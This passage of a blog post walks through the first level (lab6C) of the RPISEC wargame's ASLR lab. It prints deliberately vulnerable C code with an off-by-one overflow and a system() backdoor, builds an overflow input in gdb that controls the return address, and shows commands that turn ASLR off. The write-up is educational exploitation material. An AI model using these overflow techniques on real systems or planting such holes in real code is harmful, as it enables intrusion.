{"id":378,"date":"2018-02-16T14:30:23","date_gmt":"2018-02-16T14:30:23","guid":{"rendered":"https:\/\/devel0pment.de\/?p=378"},"modified":"2018-05-20T19:53:53","modified_gmt":"2018-05-20T19:53:53","slug":"rpisec-mbe-writeup-lab06-aslr","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=378","title":{"rendered":"RPISEC\/MBE: writeup lab06 (ASLR)"},"content":{"rendered":"<p>The <a href=\"https:\/\/devel0pment.de\/?p=366\">previous lab<\/a> focused on the subject of return oriented programming in order to circumvent data execution prevention. The next lab described in this writeup introduces <i>ASLR<\/i>.<\/p>\n<p>The single levels of this lab range from C to A:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=378#lab6C\">lab6C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=378#lab6B\">lab6B<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=378#lab6A\">lab6A<\/a><\/p>\n<p><i>Note: ASLR should be enabled by now.<\/i><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab6C\">lab6C<\/h1>\n<p>In all previous labs ASLR has been disabled. This changes now as we get closer to real-life vulnerabilities.<\/p>\n<p>If ASLR is enabled can be determined by viewing <code>\/proc\/sys\/kernel\/randomize_va_space<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ cat \/proc\/sys\/kernel\/randomize_va_space\r\n0\r\n<\/pre>\n<p>There are three possible values:<br \/>\n&#8211;> 0: ASLR is disabled.<br \/>\n&#8211;> 1: ASLR is partially enabled.<br \/>\n&#8211;> 2: ASLR is fully enabled.<\/p>\n<p>In order to enable ASLR the corresponding value has to be set:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ echo 2 | sudo tee \/proc\/sys\/kernel\/randomize_va_space\r\n2\r\n<\/pre>\n<p>If you want to permanently enable ASLR (persisting reboot) this can be done by setting the value in <code>\/etc\/sysctl.d\/01-disable-aslr.conf<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ vi \/etc\/sysctl.d\/01-disable-aslr.conf\r\n...\r\nkernel.randomize_va_space = 2\r\n<\/pre>\n<p>After enabling ASLR we can connect to the first level of this lib using the credentials <span style=\"color: #ff0000;\">lab6C<\/span> with the password <span style=\"color: #ff0000;\">lab06start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab6C@localhost\r\n&#x5B;sudo] password for gameadmin:\r\nlab6C@localhost's password: (lab06start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Mon Jan 22 05:48:49 2018 from localhost\r\n<\/pre>\n<p>As in the previous labs we have access to the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [5,12,13,14,15,22,33,39,42,43,49,59,64,75,76,82,91]; title: ; notranslate\" title=\"\">\r\nlab6C@warzone:\/levels\/lab06$ cat lab6C.c\r\n\/*\r\nExploitation with ASLR\r\nLab C\r\n\r\n gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c\r\n*\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\nstruct savestate {\r\n    char tweet&#x5B;140];\r\n    char username&#x5B;40];\r\n    int msglen;\r\n} save;\r\n\r\nvoid set_tweet(struct savestate *save );\r\nvoid set_username(struct savestate * save);\r\n\r\n\/* debug functionality, not used in production *\/\r\nvoid secret_backdoor()\r\n{\r\n    char cmd&#x5B;128];\r\n\r\n    \/* reads a command and executes it *\/\r\n    fgets(cmd, 128, stdin);\r\n    system(cmd);\r\n\r\n    return;\r\n}\r\n\r\nvoid handle_tweet()\r\n{\r\n    struct savestate save;\r\n\r\n    \/* Initialize our save state to sane values. *\/\r\n    memset(save.username, 0, 40);\r\n    save.msglen = 140;\r\n\r\n    \/* read a username and tweet from the user *\/\r\n    set_username(&amp;save);\r\n    set_tweet(&amp;save);\r\n\r\n    printf(&quot;&gt;: Tweet sent!\\n&quot;);\r\n    return;\r\n}\r\n\r\nvoid set_tweet(struct savestate *save )\r\n{\r\n    char readbuf&#x5B;1024];\r\n    memset(readbuf, 0, 1024);\r\n\r\n    printf(&quot;&gt;: Tweet @Unix-Dude\\n&quot;);\r\n    printf(&quot;&gt;&gt;: &quot;);\r\n\r\n    \/* read a tweet from the user, safely copy it to struct *\/\r\n    fgets(readbuf, 1024, stdin);\r\n    strncpy(save-&gt;tweet, readbuf, save-&gt;msglen);\r\n\r\n    return;\r\n}\r\n\r\nvoid set_username(struct savestate * save)\r\n{\r\n    int i;\r\n    char readbuf&#x5B;128];\r\n    memset(readbuf, 0, 128);\r\n\r\n    printf(&quot;&gt;: Enter your username\\n&quot;);\r\n    printf(&quot;&gt;&gt;: &quot;);\r\n\r\n    \/* Read and copy the username to our savestate *\/\r\n    fgets(readbuf, 128, stdin);\r\n    for(i = 0; i &lt;= 40 &amp;&amp; readbuf&#x5B;i]; i++)\r\n        save-&gt;username&#x5B;i] = readbuf&#x5B;i];\r\n\r\n    printf(&quot;&gt;: Welcome, %s&quot;, save-&gt;username);\r\n    return;\r\n}\r\n\r\nint main(int argc, char * argv&#x5B;])\r\n{\r\n\r\n    printf(\r\n    &quot;--------------------------------------------\\n&quot; \\\r\n    &quot;|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\\n&quot; \\\r\n    &quot;--------------------------------------------\\n&quot;);\r\n\r\n    \/* make some tweets *\/\r\n    handle_tweet();\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;> The binary is compiled with the flags <code>-pie -fPIE<\/code> (line 5). This means that the binary contains position independent code (we will get to this later).<br \/>\n&#8211;> On lines 12-15 a struct called <code>savestate<\/code> is defined, containing two strings sizing 140 (<code>tweet<\/code>) and 40 byte (<code>username<\/code>) as well as an <code>integer<\/code> (<code>msglen<\/code>).<br \/>\n&#8211;> On line 22 a function called <code>secret_backdoor<\/code> is defined which will run an arbitrary system-command. This looks like the function we would like to call.<br \/>\n&#8211;> In the <code>main<\/code> function (line 82) there is basically only a call to <code>handle_tweet<\/code> (line 91).<br \/>\n&#8211;> Within the function <code>handle_tweet<\/code> (line 33) the struct <code>savestate<\/code> is instantiated. <code>msglen<\/code> is set to <code>140<\/code> (line 39).<br \/>\n&#8211;> The struct is then passed to <code>set_username<\/code> (line 42) and <code>set_tweet<\/code> (line 43).<br \/>\n&#8211;> Within the function <code>set_username<\/code> (line 64) a username is read and stored in <code>save->username<\/code> (line 75-76).<br \/>\n&#8211;> Within the function <code>set_tweet<\/code> (line 49) a tweet is read and stored in <code>save->tweet<\/code> (line 59).<\/p>\n<p>Where is the vulnerability within the program?<\/p>\n<p>While the vulnerabilities in the last labs could have been spotted easily, it gets a little bit more difficult in this lab. A good starting point is always the user input. In both <code>set_username<\/code> and <code>set_tweet<\/code> the user input is read by a call to <code>fgets<\/code>. Since the buffer <code>readbuf<\/code> is long enough, everything seems to be fine with those calls. Within <code>set_tweet<\/code> the content of <code>readbuf<\/code> is copied to <code>save->tweet<\/code> using <code>strncpy<\/code>. The amount of bytes to copy is limited by the value of <code>save->msglen<\/code>. Since this value has been initialized with 140 everything seems fine here as long as the value does not change. Within <code>set_username<\/code> the contents of <code>readbuf<\/code> are copied byte by byte in a for-loop (lines 75-76). The condition of the for-loop is <code>i <= 40 &#038;&#038; readbuf[i]<\/code>. This means that within the loops last iteration <code>i<\/code> is <code>40<\/code> if <code>readbuf[i]<\/code> has not been null before. The size of <code>save->username<\/code> is only 40 byte and the index of the last byte is 39. Thus there is an overflow in the last iteration when <code>i = 40<\/code>!<\/p>\n<p>Having a look back at the struct definition on lines 12-15 we can see that the integer <code>save->msglen<\/code> is stored after the variable <code>username<\/code> which we can overflow by one byte. Thus the 41th byte we enter will be stored in <code>save->msglen<\/code>.<\/p>\n<p>As we have already seen <code>save->msglen<\/code> is used within the function <code>set_tweet<\/code> to set the amount of bytes to copy from the user input <code>readbuf<\/code> to the variable <code>save->tweet<\/code>. Since we can control one byte of <code>save->msglen<\/code> (the least significant) we can set <code>save->msglen<\/code> to a maximum of 255. This way we can overflow the whole local struct <code>save<\/code> and probably overwrite the return address of <code>handle_tweet<\/code>.<\/p>\n<p>Summing this up we have to:<br \/>\n&#8211;> Overflow <code>save->username<\/code> in order to set <code>save->msglen<\/code> to a greater value.<br \/>\n&#8211;> Overflow <code>save->tweet<\/code> in order to overwrite the return address of <code>handle_tweet<\/code>.<\/p>\n<p>Let's start by verifying our assumptions and overwrite the return address using a pattern created with <code>gdb<\/code> and <code>python<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 300 \/tmp\/pattern\r\nWriting pattern of 300 chars to filename &quot;\/tmp\/pattern&quot;\r\ngdb-peda$ ! (python -c 'print(&quot;X&quot;*40 + &quot;\\xff&quot;)'; cat \/tmp\/pattern) &gt; \/tmp\/pattern2\r\n<\/pre>\n<p>The 300 byte pattern will be stored in <code>save->tweet<\/code> and the prepended line in <code>save->username<\/code>: 40 bytes + <code>0xff<\/code> in order to set <code>save->msglen<\/code> to <code>255<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ ! cat \/tmp\/pattern2\r\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u2592\r\nAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA...\r\n<\/pre>\n<p>Now we can run the program in <code>gdb<\/code> providing the pattern as user input:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,10,20,23,37,38]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r &lt; \/tmp\/pattern2\r\nStarting program: \/levels\/lab06\/lab6C &lt; \/tmp\/pattern2\r\n--------------------------------------------\r\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\r\n--------------------------------------------\r\n&gt;: Enter your username\r\n&gt;&gt;: &gt;: Welcome, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u2592&gt;: Tweet @Unix-Dude\r\n&gt;&gt;: &gt;: Tweet sent!\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xf\r\nEBX: 0x41417541 ('AuAA')\r\nECX: 0xb7772000 (&quot;&gt;&gt;: &gt;: Tweet sent!\\n&quot;, 'X' &lt;repeats 37 times&gt;, &quot;\\377&gt;: Tweet @Unix-Dude\\n&quot;)\r\nEDX: 0xb7768898 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0x7641415a ('ZAAv')\r\nESP: 0xbfda7e60 (&quot;AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\nEIP: 0x41774141 ('AAwA')\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x41774141\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbfda7e60 (&quot;AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0004| 0xbfda7e64 (&quot;yAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0008| 0xbfda7e68 (&quot;A%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0012| 0xbfda7e6c (&quot;%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0016| 0xbfda7e70 (&quot;BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0020| 0xbfda7e74 (&quot;A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0024| 0xbfda7e78 (&quot;%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n0028| 0xbfda7e7c (&quot;-A%(A%DA%;A%)A%EA%aA%0A%FA%\\277\\264~\u06bf$\\300y\\267&#92;&#48;20\\243y\\267&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x41774141 in ?? ()\r\ngdb-peda$ pattern offset $eip\r\n1098334529 found at offset: 196\r\n<\/pre>\n<p>Great! The instruction pointer (<code>eip<\/code>) has been successfully overwritten with our pattern. The offset to the return address is 196 byte.<\/p>\n<p>As for now we did not spend any special attention to the fact that ASLR is enabled. This aspect comes into play now since we control <code>eip<\/code> and need some address we can jump to. We have already noticed that the author of the program kindly implemented a function called <code>secret_backdoor<\/code> which we would like to call. It should be no problem to determine the address of this function:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p secret_backdoor\r\n$1 = {&lt;text variable, no debug info&gt;} 0x72b &lt;secret_backdoor&gt;\r\n<\/pre>\n<p>The address of <code>secret_backdoor<\/code> is <code>0x72b<\/code>. Umh? Seems to be a quite small value for an address. Let's compare this to an address of a function from lab5A:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p store_number\r\n$1 = {&lt;text variable, no debug info&gt;} 0x8048eae &lt;store_number&gt;\r\n<\/pre>\n<p>The value <code>0x8048eae<\/code> seems to be more adequate for an address.<\/p>\n<p>So what is going on here?<\/p>\n<h2>ASLR and PIE<\/h2>\n<p>In the last labs <i>Address Space Layout Randomization (ASLR)<\/i> was disabled and we oftentimes used hard-coded address in order to jump to a specific function within the binary or a shellcode we injected. The goal of ASLR is to harden those kinds of attacks by randomizing the address space layout on every execution of a program. This way we do not know where to jump to even if we control the instruction pointer.<\/p>\n<p>A good example (taken from <a href=\"http:\/\/security.cs.rpi.edu\/courses\/binexp-spring2015\/\" target=\"_blank\" rel=\"noopener\">RPISEC lab slides<\/a>) to see the impact of ASLR is to run <code>cat<\/code> a few times and inspect the memory maps:<\/p>\n<p>At first we turn ASLR off to see the changes:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space\r\n0\r\n<\/pre>\n<p>And then inspect the memory maps of <code>cat<\/code> on multiple runs:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ cat \/proc\/self\/maps\r\n08048000-08053000 r-xp 00000000 fc:00 917517     \/bin\/cat\r\n08053000-08054000 r--p 0000a000 fc:00 917517     \/bin\/cat\r\n08054000-08055000 rw-p 0000b000 fc:00 917517     \/bin\/cat\r\n08055000-08076000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7c22000-b7e22000 r--p 00000000 fc:00 136933     \/usr\/lib\/locale\/locale-archive\r\nb7e22000-b7e23000 rw-p 00000000 00:00 0\r\nb7e23000-b7fcb000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fcb000-b7fcd000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fcd000-b7fce000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fce000-b7fd1000 rw-p 00000000 00:00 0\r\nb7fd9000-b7fdb000 rw-p 00000000 00:00 0\r\nb7fdb000-b7fdc000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7fdc000-b7fde000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb7fde000-b7ffe000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7ffe000-b7fff000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7fff000-b8000000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nbffdf000-c0000000 rw-p 00000000 00:00 0          &#x5B;stack]\r\ngameadmin@warzone:~$ cat \/proc\/self\/maps\r\n08048000-08053000 r-xp 00000000 fc:00 917517     \/bin\/cat\r\n08053000-08054000 r--p 0000a000 fc:00 917517     \/bin\/cat\r\n08054000-08055000 rw-p 0000b000 fc:00 917517     \/bin\/cat\r\n08055000-08076000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7c22000-b7e22000 r--p 00000000 fc:00 136933     \/usr\/lib\/locale\/locale-archive\r\nb7e22000-b7e23000 rw-p 00000000 00:00 0\r\nb7e23000-b7fcb000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fcb000-b7fcd000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fcd000-b7fce000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7fce000-b7fd1000 rw-p 00000000 00:00 0\r\nb7fd9000-b7fdb000 rw-p 00000000 00:00 0\r\nb7fdb000-b7fdc000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7fdc000-b7fde000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb7fde000-b7ffe000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7ffe000-b7fff000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7fff000-b8000000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nbffdf000-c0000000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n...\r\n<\/pre>\n<p>It is not so good to see in the listing here but on every run of <code>cat<\/code> the memory addresses stay the same.<\/p>\n<p>Now we enabled ASLR:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ echo 2 | sudo tee \/proc\/sys\/kernel\/randomize_va_space\r\n2\r\n<\/pre>\n<p>And try the same again:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5,6,7,8,9,10,11,12,13,14,15,16,17,18,23,24,25,26,27,28,29,30,31,32,33,34,35,36]; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ cat \/proc\/self\/maps\r\n08048000-08053000 r-xp 00000000 fc:00 917517     \/bin\/cat\r\n08053000-08054000 r--p 0000a000 fc:00 917517     \/bin\/cat\r\n08054000-08055000 rw-p 0000b000 fc:00 917517     \/bin\/cat\r\n0897e000-0899f000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7333000-b7533000 r--p 00000000 fc:00 136933     \/usr\/lib\/locale\/locale-archive\r\nb7533000-b7534000 rw-p 00000000 00:00 0\r\nb7534000-b76dc000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb76dc000-b76de000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb76de000-b76df000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb76df000-b76e2000 rw-p 00000000 00:00 0\r\nb76ea000-b76ec000 rw-p 00000000 00:00 0\r\nb76ec000-b76ed000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb76ed000-b76ef000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb76ef000-b770f000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb770f000-b7710000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7710000-b7711000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nbf87f000-bf8a0000 rw-p 00000000 00:00 0          &#x5B;stack]\r\ngameadmin@warzone:~$ cat \/proc\/self\/maps\r\n08048000-08053000 r-xp 00000000 fc:00 917517     \/bin\/cat\r\n08053000-08054000 r--p 0000a000 fc:00 917517     \/bin\/cat\r\n08054000-08055000 rw-p 0000b000 fc:00 917517     \/bin\/cat\r\n0868d000-086ae000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7357000-b7557000 r--p 00000000 fc:00 136933     \/usr\/lib\/locale\/locale-archive\r\nb7557000-b7558000 rw-p 00000000 00:00 0\r\nb7558000-b7700000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7700000-b7702000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7702000-b7703000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7703000-b7706000 rw-p 00000000 00:00 0\r\nb770e000-b7710000 rw-p 00000000 00:00 0\r\nb7710000-b7711000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7711000-b7713000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb7713000-b7733000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7733000-b7734000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7734000-b7735000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nbfdb5000-bfdd6000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n...\r\n<\/pre>\n<p>The highlighted addresses have changed. These addresses include:<br \/>\n&#8211;> the stack<br \/>\n&#8211;> the heap<br \/>\n&#8211;> libraries (<code>libc<\/code>, <code>ld<\/code>, ...)<\/p>\n<p>This means that we cannot jump to a pre-calculated address on the stack where our shellcode is stored or to the address of <code>system<\/code> in the <code>libc<\/code> like we did in lab5C.<\/p>\n<p>What did not changed are the addresses of the memory maps of the binary itself. As for <code>cat<\/code> these are constantly stored between <code>0x08048000<\/code> and <code>0x08055000<\/code>.<\/p>\n<p>This is where <i>Position Independent Executables (PIE)<\/i> comes into play.<\/p>\n<p>In order to compile a program to contain position independent code the <code>gcc<\/code> flags <code>-pie -fPIE<\/code> can be used just like shown in the source code of this level:<\/p>\n<pre class=\"brush: cpp; first-line: 5; title: ; notranslate\" title=\"\">\r\n gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c\r\n<\/pre>\n<p>Let's have a look at the memory maps when running the <code>lab6C<\/code> binary.<\/p>\n<p>I used two terminals. One to run the program:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6C@warzone:\/levels\/lab06$ .\/lab6C\r\n--------------------------------------------\r\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\r\n--------------------------------------------\r\n&gt;: Enter your username\r\n&gt;&gt;:\r\n\r\n<\/pre>\n<p>And the other to inspect the memory maps on multiple runs:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [13,14,15,29,30,31]; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo cat \/proc\/$(sudo pidof lab6C)\/maps\r\nb75cf000-b75d0000 rw-p 00000000 00:00 0\r\nb75d0000-b7778000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7778000-b777a000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb777a000-b777b000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb777b000-b777e000 rw-p 00000000 00:00 0\r\nb7784000-b7788000 rw-p 00000000 00:00 0\r\nb7788000-b7789000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7789000-b778b000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb778b000-b77ab000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb77ab000-b77ac000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb77ac000-b77ad000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb77ad000-b77ae000 r-xp 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb77ae000-b77af000 r--p 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb77af000-b77b0000 rw-p 00001000 fc:00 922466     \/levels\/lab06\/lab6C\r\nbfb17000-bfb38000 rw-p 00000000 00:00 0          &#x5B;stack]\r\ngameadmin@warzone:~$ sudo cat \/proc\/$(sudo pidof lab6C)\/maps\r\nb758c000-b758d000 rw-p 00000000 00:00 0\r\nb758d000-b7735000 r-xp 00000000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7735000-b7737000 r--p 001a8000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7737000-b7738000 rw-p 001aa000 fc:00 401847     \/lib\/i386-linux-gnu\/libc-2.19.so\r\nb7738000-b773b000 rw-p 00000000 00:00 0\r\nb7741000-b7745000 rw-p 00000000 00:00 0\r\nb7745000-b7746000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7746000-b7748000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nb7748000-b7768000 r-xp 00000000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7768000-b7769000 r--p 0001f000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb7769000-b776a000 rw-p 00020000 fc:00 401849     \/lib\/i386-linux-gnu\/ld-2.19.so\r\nb776a000-b776b000 r-xp 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb776b000-b776c000 r--p 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb776c000-b776d000 rw-p 00001000 fc:00 922466     \/levels\/lab06\/lab6C\r\nbfc3d000-bfc5e000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n...\r\n<\/pre>\n<p>This time all memory addresses changed. Even the addresses of the binary itself. That is also why the address for the function <code>secret_backdoor<\/code> was only <code>0x72b<\/code>. The final address can only be determined after running the program:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2,3,13]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p secret_backdoor\r\n$1 = {&lt;text variable, no debug info&gt;} 0x72b &lt;secret_backdoor&gt;\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab06\/lab6C\r\n--------------------------------------------\r\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\r\n--------------------------------------------\r\n&gt;: Enter your username\r\n&gt;&gt;: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ p secret_backdoor\r\n$2 = {&lt;text variable, no debug info&gt;} 0xb776e72b &lt;secret_backdoor&gt;\r\n<\/pre>\n<p>PIE is not enabled by default since there is an overhead executing position independent code. While it is necessary for shared libraries, most binaries are actually not compiled as PIE. One example we have already seen (<code>cat<\/code>):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3,7]; title: ; notranslate\" title=\"\">\r\nlab6C@warzone:\/levels\/lab06$ checksec \/bin\/cat\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE\r\nPartial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     3    9\/bin\/cat\r\n\r\nlab6C@warzone:\/levels\/lab06$ checksec lab6C\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE\r\nPartial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No      0    8lab6C\r\n<\/pre>\n<p>Summing it up the following memory maps are randomized when ASLR is enabled:<br \/>\n&#8211;> the stack<br 